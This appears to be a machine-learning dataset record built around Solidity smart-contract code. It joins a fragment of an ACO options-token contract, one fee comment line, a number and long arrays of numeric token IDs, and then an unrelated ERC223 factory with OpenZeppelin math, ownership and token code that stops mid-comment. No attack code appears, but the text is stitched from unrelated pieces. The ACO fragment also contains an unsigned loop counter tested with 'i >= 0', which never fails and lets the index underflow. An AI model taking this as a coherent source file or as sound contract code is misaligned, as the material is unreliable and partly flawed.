returns(string memory) { return _name(); } /** * @dev Function to get the token symbol, that it is equal to the name. */ function symbol() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token decimals, that it is equal to the underlying asset decimals. */ function decimals() public view override returns(uint8) { return underlyingDecimals; } /** * @dev Function to get the current amount of collateral for an account. * @param account Address of the account. * @return The current amount of collateral. */ function currentCollateral(address account) public view returns(uint256) { return getCollateralAmount(currentCollateralizedTokens(account)); } /** * @dev Function to get the current amount of unassignable collateral for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the unassignable collateral is equal to the account's collateral balance. * @param account Address of the account. * @return The respective amount of unassignable collateral. */ function unassignableCollateral(address account) public view returns(uint256) { return getCollateralAmount(unassignableTokens(account)); } /** * @dev Function to get the current amount of assignable collateral for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the assignable collateral is zero. * @param account Address of the account. * @return The respective amount of assignable collateral. */ function assignableCollateral(address account) public view returns(uint256) { return getCollateralAmount(assignableTokens(account)); } /** * @dev Function to get the current amount of collateralized tokens for an account. * @param account Address of the account. * @return The current amount of collateralized tokens. */ function currentCollateralizedTokens(address account) public view returns(uint256) { return tokenData[account].amount; } /** * @dev Function to get the current amount of unassignable tokens for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the unassignable tokens is equal to the account's collateralized tokens. * @param account Address of the account. * @return The respective amount of unassignable tokens. */ function unassignableTokens(address account) public view returns(uint256) { if (balanceOf(account) > tokenData[account].amount) { return tokenData[account].amount; } else { return balanceOf(account); } } /** * @dev Function to get the current amount of assignable tokens for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the assignable tokens is zero. * @param account Address of the account. * @return The respective amount of assignable tokens. */ function assignableTokens(address account) public view returns(uint256) { return _getAssignableAmount(account); } /** * @dev Function to get the equivalent collateral amount for a token amount. * @param tokenAmount Amount of tokens. * @return The respective amount of collateral. */ function getCollateralAmount(uint256 tokenAmount) public view returns(uint256) { if (isCall) { return tokenAmount; } else if (tokenAmount > 0) { return _getTokenStrikePriceRelation(tokenAmount); } else { return 0; } } /** * @dev Function to get the equivalent token amount for a collateral amount. * @param collateralAmount Amount of collateral. * @return The respective amount of tokens. */ function getTokenAmount(uint256 collateralAmount) public view returns(uint256) { if (isCall) { return collateralAmount; } else if (collateralAmount > 0) { return collateralAmount.mul(underlyingPrecision).div(strikePrice); } else { return 0; } } /** * @dev Function to get the data for exercise of an amount of token. * @param tokenAmount Amount of tokens. * @return The asset and the respective amount that should be sent to get the collateral. */ function getExerciseData(uint256 tokenAmount) public view returns(address, uint256) { if (isCall) { return (strikeAsset, _getTokenStrikePriceRelation(tokenAmount)); } else { return (underlying, tokenAmount); } } /** * @dev Function to get the collateral asset. * @return The address of the collateral asset. */ function collateral() public view returns(address) { if (isCall) { return underlying; } else { return strikeAsset; } } /** * @dev Function to mint tokens with Ether deposited as collateral. * NOTE: The function only works when the token is NOT expired yet. */ function mintPayable() external payable { require(_isEther(collateral()), "ACOToken::mintPayable: Invalid call"); _mintToken(msg.sender, msg.value); } /** * @dev Function to mint tokens with Ether deposited as collateral to an informed account. * However, the minted tokens are assigned to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account that will be the collateral owner. */ function mintToPayable(address account) external payable { require(_isEther(collateral()), "ACOToken::mintToPayable: Invalid call"); _mintToken(account, msg.value); } /** * @dev Function to mint tokens with ERC20 deposited as collateral. * NOTE: The function only works when the token is NOT expired yet. * @param collateralAmount Amount of collateral deposited. */ function mint(uint256 collateralAmount) external { address _collateral = collateral(); require(!_isEther(_collateral), "ACOToken::mint: Invalid call"); require(IERC20(_collateral).transferFrom(msg.sender, address(this), collateralAmount), "ACOToken::mint: Invalid transfer"); _mintToken(msg.sender, collateralAmount); } /** * @dev Function to mint tokens with ERC20 deposited as collateral to an informed account. * However, the minted tokens are assigned to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account that will be the collateral owner. * @param collateralAmount Amount of collateral deposited. */ function mintTo(address account, uint256 collateralAmount) external { address _collateral = collateral(); require(!_isEther(_collateral), "ACOToken::mintTo: Invalid call"); require(IERC20(_collateral).transferFrom(msg.sender, address(this), collateralAmount), "ACOToken::mintTo: Invalid transfer"); _mintToken(account, collateralAmount); } /** * @dev Function to burn tokens and get the collateral, not assigned, back. * NOTE: The function only works when the token is NOT expired yet. * @param tokenAmount Amount of tokens to be burned. */ function burn(uint256 tokenAmount) external { _burn(msg.sender, tokenAmount); } /** * @dev Function to burn tokens from a specific account and send the collateral to its address. * The token allowance must be respected. * The collateral is returned to the account address, not to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function burnFrom(address account, uint256 tokenAmount) external { _burn(account, tokenAmount); } /** * @dev Function to get the collateral, not assigned, back. * NOTE: The function only works when the token IS expired. */ function redeem() external { _redeem(msg.sender); } /** * @dev Function to get the collateral from a specific account sent back to its address . * The token allowance must be respected. * The collateral is returned to the account address, not to the transaction sender. * NOTE: The function only works when the token IS expired. * @param account Address of the account. */ function redeemFrom(address account) external { _redeem(account); } /** * @dev Function to exercise the tokens, paying to get the equivalent collateral. * The paid amount is sent to the collateral owners that were assigned. * NOTE: The function only works when the token is NOT expired. * @param tokenAmount Amount of tokens. */ function exercise(uint256 tokenAmount) external payable { _exercise(msg.sender, tokenAmount); } /** * @dev Function to exercise the tokens from an account, paying to get the equivalent collateral. * The token allowance must be respected. * The paid amount is sent to the collateral owners that were assigned. * The collateral is transferred to the account address, not to the transaction sender. * NOTE: The function only works when the token is NOT expired. * @param account Address of the account. * @param tokenAmount Amount of tokens. */ function exerciseFrom(address account, uint256 tokenAmount) external payable { _exercise(account, tokenAmount); } /** * @dev Function to exercise the tokens, paying to get the equivalent collateral. * The paid amount is sent to the collateral owners (on accounts list) that were assigned. * NOTE: The function only works when the token is NOT expired. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get collateral from. */ function exerciseAccounts(uint256 tokenAmount, address[] calldata accounts) external payable { _exerciseFromAccounts(msg.sender, tokenAmount, accounts); } /** * @dev Function to exercise the tokens from a specific account, paying to get the equivalent collateral sent to its address. * The token allowance must be respected. * The paid amount is sent to the collateral owners (on accounts list) that were assigned. * The collateral is transferred to the account address, not to the transaction sender. * NOTE: The function only works when the token is NOT expired. * @param account Address of the account. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the deposited collateral. */ function exerciseAccountsFrom(address account, uint256 tokenAmount, address[] calldata accounts) external payable { _exerciseFromAccounts(account, tokenAmount, accounts); } /** * @dev Function to burn the tokens after expiration. * It is an optional function to `clear` the account wallet from an expired and not functional token. * NOTE: The function only works when the token IS expired. */ function clear() external { _clear(msg.sender); } /** * @dev Function to burn the tokens from an account after expiration. * It is an optional function to `clear` the account wallet from an expired and not functional token. * The token allowance must be respected. * NOTE: The function only works when the token IS expired. * @param account Address of the account. */ function clearFrom(address account) external { _clear(account); } /** * @dev Internal function to burn the tokens from an account after expiration. * @param account Address of the account. */ function _clear(address account) internal { require(!_notExpired(), "ACOToken::_clear: Token not expired yet"); require(!_accountHasCollateral(account), "ACOToken::_clear: Must call the redeem method"); _callBurn(account, balanceOf(account)); } /** * @dev Internal function to redeem respective collateral from an account. * @param account Address of the account. * @param tokenAmount Amount of tokens. */ function _redeemCollateral(address account, uint256 tokenAmount) internal { require(_accountHasCollateral(account), "ACOToken::_redeemCollateral: No collateral available"); require(tokenAmount > 0, "ACOToken::_redeemCollateral: Invalid token amount"); TokenCollateralized storage data = tokenData[account]; data.amount = data.amount.sub(tokenAmount); _removeCollateralDataIfNecessary(account); _transferCollateral(account, getCollateralAmount(tokenAmount), false); } /** * @dev Internal function to mint tokens. * The tokens are minted for the transaction sender. * @param account Address of the account. * @param collateralAmount Amount of collateral deposited. */ function _mintToken(address account, uint256 collateralAmount) nonReentrant notExpired internal { require(collateralAmount > 0, "ACOToken::_mintToken: Invalid collateral amount"); if (!_accountHasCollateral(account)) { tokenData[account].index = _collateralOwners.length; _collateralOwners.push(account); } uint256 tokenAmount = getTokenAmount(collateralAmount); tokenData[account].amount = tokenData[account].amount.add(tokenAmount); totalCollateral = totalCollateral.add(collateralAmount); emit CollateralDeposit(account, collateralAmount); super._mintAction(msg.sender, tokenAmount); } /** * @dev Internal function to transfer tokens. * The token transfer only works when the token is NOT expired. * @param sender Source of the tokens. * @param recipient Destination address for the tokens. * @param amount Amount of tokens. */ function _transfer(address sender, address recipient, uint256 amount) notExpired internal override { super._transferAction(sender, recipient, amount); } /** * @dev Internal function to set the token permission from an account to another address. * The token approval only works when the token is NOT expired. * @param owner Address of the token owner. * @param spender Address of the spender authorized. * @param amount Amount of tokens authorized. */ function _approve(address owner, address spender, uint256 amount) notExpired internal override { super._approveAction(owner, spender, amount); } /** * @dev Internal function to transfer collateral. * When there is a fee, the calculated fee is also transferred to the destination fee address. * @param recipient Destination address for the collateral. * @param collateralAmount Amount of collateral. * @param hasFee Whether a fee should be applied to the collateral amount. */ function _transferCollateral(address recipient, uint256 collateralAmount, bool hasFee) internal { require(recipient != address(0), "ACOToken::_transferCollateral: Invalid recipient"); totalCollateral = totalCollateral.sub(collateralAmount); uint256 fee = 0; if (hasFee) { fee = collateralAmount.mul(acoFee).div(100000); collateralAmount = collateralAmount.sub(fee); } address _collateral = collateral(); if (_isEther(_collateral)) { payable(recipient).transfer(collateralAmount); if (fee > 0) { feeDestination.transfer(fee); } } else { require(IERC20(_collateral).transfer(recipient, collateralAmount), "ACOToken::_transferCollateral: Invalid transfer"); if (fee > 0) { require(IERC20(_collateral).transfer(feeDestination, fee), "ACOToken::_transferCollateral: Invalid transfer fee"); } } emit CollateralWithdraw(recipient, collateralAmount, fee); } /** * @dev Internal function to exercise the tokens from an account. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _exercise(address account, uint256 tokenAmount) nonReentrant internal { _validateAndBurn(account, tokenAmount); _exerciseOwners(account, tokenAmount); _transferCollateral(account, getCollateralAmount(tokenAmount), true); } /** * @dev Internal function to exercise the tokens from an account. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the collateral from. */ function _exerciseFromAccounts(address account, uint256 tokenAmount, address[] memory accounts) nonReentrant internal { _validateAndBurn(account, tokenAmount); _exerciseAccounts(account, tokenAmount, accounts); _transferCollateral(account, getCollateralAmount(tokenAmount), true); } /** * @dev Internal function to exercise the assignable tokens from the stored list of collateral owners. * @param exerciseAccount Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _exerciseOwners(address exerciseAccount, uint256 tokenAmount) internal { uint256 start = _collateralOwners.length - 1; for (uint256 i = start; i >= 0; --i) { if (tokenAmount == 0) { break; } tokenAmount = _exerciseAccount(_collateralOwners[i], tokenAmount, exerciseAccount); } require(tokenAmount == 0, "ACOToken::_exerciseOwners: Invalid remaining amount"); } /** * @dev Internal function to exercise the assignable tokens from an accounts list. * @param exerciseAccount Address of the account that is exercising. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the collateral from. */ function _exerciseAccounts(address exerciseAccount, uint256 tokenAmount, address[] memory accounts) internal { for (uint256 i = 0; i < accounts.length; ++i) { if (tokenAmount == 0) { break; } tokenAmount = _exerciseAccount(accounts[i], tokenAmount, exerciseAccount); } require(tokenAmount == 0, "ACOToken::_exerciseAccounts: Invalid remaining amount"); } /** * @dev Internal function to exercise the assignable tokens from an account and transfer to its address the respective payment. * @param account Address of the account. * @param tokenAmount Amount of tokens. * @param exerciseAccount Address of the account that is exercising. * @return Remaining amount of tokens. */ function _exerciseAccount(address account, uint256 tokenAmount, address exerciseAccount) internal returns(uint256) { uint256 available = _getAssignableAmount(account); if (available > 0) { TokenCollateralized storage data = tokenData[account]; uint256 valueToTransfer; if (available < tokenAmount) { valueToTransfer = available; tokenAmount = tokenAmount.sub(available); } else { valueToTransfer = tokenAmount; tokenAmount = 0; } (address exerciseAsset, uint256 amount) = getExerciseData(valueToTransfer); data.amount = data.amount.sub(valueToTransfer); _removeCollateralDataIfNecessary(account); if (_isEther(exerciseAsset)) { payable(account).transfer(amount); } else { require(IERC20(exerciseAsset).transfer(account, amount), "ACOToken::_exerciseAccount: Invalid transfer"); } emit Assigned(account, exerciseAccount, amount, valueToTransfer); } return tokenAmount; } /** * @dev Internal function to validate the exercise operation and burn the respective tokens. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _validateAndBurn(address account, uint256 tokenAmount) notExpired internal { require(tokenAmount > 0, "ACOToken::_validateAndBurn: Invalid token amount"); // Whether an account has deposited collateral it only can exercise the extra amount of unassignable tokens. if (_accountHasCollateral(account)) { require(balanceOf(account) > tokenData[account].amount, "ACOToken::_validateAndBurn: Tokens compromised"); require(tokenAmount <= balanceOf(account).sub(tokenData[account].amount), "ACOToken::_validateAndBurn: Token amount not available"); } _callBurn(account, tokenAmount); (address exerciseAsset, uint256 expectedAmount) = getExerciseData(tokenAmount); if (_isEther(exerciseAsset)) { require(msg.value == expectedAmount, "ACOToken::_validateAndBurn: Invalid ether amount"); } else { require(msg.value == 0, "ACOToken::_validateAndBurn: No ether expected"); require(IERC20(exerciseAsset).transferFrom(msg.sender, address(this), expectedAmount), "ACOToken::_validateAndBurn: Fail to receive asset"); } } /** * @dev Internal function to calculate the token strike price relation. * @param tokenAmount Amount of tokens. * @return Calculated value with strike asset precision. */ function _getTokenStrikePriceRelation(uint256 tokenAmount) internal view returns(uint256) { return tokenAmount.mul(strikePrice).div(underlyingPrecision); } /** * @dev Internal function to get the collateral sent back from an account. * Function to be called when the token IS expired. * @param account Address of the account. */ function _redeem(address account) nonReentrant internal { require(!_notExpired(), "ACOToken::_redeem: Token not expired yet"); _redeemCollateral(account, tokenData[account].amount); super._burnAction(account, balanceOf(account)); } /** * @dev Internal function to burn tokens from an account and get the collateral, not assigned, back. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function _burn(address account, uint256 tokenAmount) nonReentrant notExpired internal { _redeemCollateral(account, tokenAmount); _callBurn(account, tokenAmount); } /** * @dev Internal function to burn tokens. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function _callBurn(address account, uint256 tokenAmount) internal { if (account == msg.sender) { super._burnAction(account, tokenAmount); } else { super._burnFrom(account, tokenAmount); } } /** * @dev Internal function to get the amount of assignable token from an account. * @param account Address of the account. * @return The assignable amount of tokens. */ function _getAssignableAmount(address account) internal view returns(uint256) { if (tokenData[account].amount > balanceOf(account)) { return tokenData[account].amount.sub(balanceOf(account)); } else { return 0; } } /** * @dev Internal function to remove the token data with collateral if its total amount was assigned. * @param account Address of account. */ function _removeCollateralDataIfNecessary(address account) internal { TokenCollateralized storage data = tokenData[account]; if (!_hasCollateral(data)) { uint256 lastIndex = _collateralOwners.length - 1; if (lastIndex != data.index) { address last = _collateralOwners[lastIndex]; tokenData[last].index = data.index; _collateralOwners[data.index] = last; } _collateralOwners.pop(); delete tokenData[account]; } } /** * @dev Internal function to get if the token is not expired. * @return Whether the token is NOT expired. */ function _notExpired() internal view returns(bool) { return now <= expiryTime; } /** * @dev Internal function to get if an account has collateral deposited. * @param account Address of the account. * @return Whether the account has collateral deposited. */ function _accountHasCollateral(address account) internal view returns(bool) { return _hasCollateral(tokenData[account]); } /** * @dev Internal function to get if an account has collateral deposited. * @param data Token data from an account. * @return Whether the account has collateral deposited. */ function _hasCollateral(TokenCollateralized storage data) internal view returns(bool) { return data.amount > 0; } /** * @dev Internal function to get if the address is for Ethereum (0x0). * @param _address Address to be checked. * @return Whether the address is for Ethereum. */ function _isEther(address _address) internal pure returns(bool) { return _address == address(0); } /** * @dev Internal function to get the token name. * The token name is assembled with the token data: * ACO UNDERLYING_SYMBOL-EXPIRYTIME-STRIKE_PRICE_STRIKE_ASSET_SYMBOL-TYPE * @return The token name. */ function _name() internal view returns(string memory) { return string(abi.encodePacked( "ACO ", underlyingSymbol, "-", _getFormattedStrikePrice(), strikeAssetSymbol, "-", _getType(), "-", _getFormattedExpiryTime() )); } /** * @dev Internal function to get the token type description. * @return The token type description. */ function _getType() internal view returns(string memory) { if (isCall) { return "C"; } else { return "P"; } } /** * @dev Internal function to get the expiry time formatted. * @return The expiry time formatted. */ function _getFormattedExpiryTime() internal view returns(string memory) { (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute,) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(expiryTime); return string(abi.encodePacked( _getNumberWithTwoCaracters(day), _getMonthFormatted(month), _getYearFormatted(year), "-", _getNumberWithTwoCaracters(hour), _getNumberWithTwoCaracters(minute), "UTC" )); } /** * @dev Internal function to get the year formatted with 2 characters. * @return The year formatted. */ function _getYearFormatted(uint256 year) internal pure returns(string memory) { bytes memory yearBytes = bytes(Strings.toString(year)); bytes memory result = new bytes(2); uint256 startIndex = yearBytes.length - 2; for (uint256 i = startIndex; i < yearBytes.length; i++) { result[i - startIndex] = yearBytes[i]; } return string(result); } /** * @dev Internal function to get the month abbreviation. * @return The month abbreviation. */ function _getMonthFormatted(uint256 month) internal pure returns(string memory) { if (month == 1) { return "JAN"; } else if (month == 2) { return "FEB"; } else if (month == 3) { return "MAR"; } else if (month == 4) { return "APR"; } else if (month == 5) { return "MAY"; } else if (month == 6) { return "JUN"; } else if (month == 7) { return "JUL"; } else if (month == 8) { return "AUG"; } else if (month == 9) { return "SEP"; } else if (month == 10) { return "OCT"; } else if (month == 11) { return "NOV"; } else if (month == 12) { return "DEC"; } else { return "INVALID"; } } /** * @dev Internal function to get the number with 2 characters. * @return The 2 characters for the number. */ function _getNumberWithTwoCaracters(uint256 number) internal pure returns(string memory) { string memory _string = Strings.toString(number); if (number < 10) { return string(abi.encodePacked("0", _string)); } else { return _string; } } /** * @dev Internal function to get the strike price formatted. * @return The strike price formatted. */ function _getFormattedStrikePrice() internal view returns(string memory) { uint256 digits; uint256 count; int256 representativeAt = -1; uint256 addPointAt = 0; uint256 temp = strikePrice; uint256 number = strikePrice; while (temp != 0) { if (representativeAt == -1 && (temp % 10 != 0 || count == uint256(strikeAssetDecimals))) { representativeAt = int256(digits); number = temp; } if (representativeAt >= 0) { if (count == uint256(strikeAssetDecimals)) { addPointAt = digits; } digits++; } temp /= 10; count++; } if (count <= uint256(strikeAssetDecimals)) { digits = digits + 2 + uint256(strikeAssetDecimals) - count; addPointAt = digits - 2; } else if (addPointAt > 0) { digits++; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = number; for (uint256 i = 0; i < digits; ++i) { if (i > 0 && i == addPointAt) { buffer[index--] = byte("."); } else if (number == 0) { buffer[index--] = byte("0"); } else { if (representativeAt <= int256(i)) { buffer[index--] = byte(uint8(48 + number % 10)); } number /= 10; } } return string(buffer); } /** * @dev Internal function to the asset decimals. * @param asset Address of the asset. * @return The asset decimals. */ function _getAssetDecimals(address asset) internal view returns(uint8) { if (_isEther(asset)) { return uint8(18); } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSignature("decimals()")); require(success, "ACOToken::_getAssetDecimals: Invalid asset decimals"); return abi.decode(returndata, (uint8)); } } /** * @dev Internal function to the asset symbol. * @param asset Address of the asset. * @return The asset symbol. */ function _getAssetSymbol(address asset) internal view returns(string memory) { if (_isEther(asset)) { return "ETH"; } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSignature("symbol()")); require(success, "ACOToken::_getAssetSymbol: Invalid asset symbol"); return abi.decode(returndata, (string)); } } }
* @dev The fee value. It is a percentage value (100000 is 100%)./
uint256 public acoFee;
568,796
[ 1, 1986, 14036, 460, 18, 2597, 353, 279, 11622, 460, 261, 21, 11706, 353, 2130, 9, 2934, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 1721, 83, 14667, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >0.4.23 <0.6.0; contract ERC223AdvancedFactory { address[] public contracts; address public lastContractAddress; event newERC223AdvancedContract ( address contractAddress ); constructor() public { } function getContractCount() public constant returns(uint contractCount) { return contracts.length; } function newERC223Advanced(string name, string symbol) public returns(address newContract) { ERC223Advanced c = new ERC223Advanced(name, symbol); contracts.push(c); lastContractAddress = address(c); emit newERC223AdvancedContract(c); return c; } function seeERC223Advanced(uint pos) public constant returns(address contractAddress) { return address(contracts[pos]); } } // File: contracts/ERC223Receiver.sol /** * @title Contract that will work with ERC223 tokens. */ contract ERC223Receiver { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO 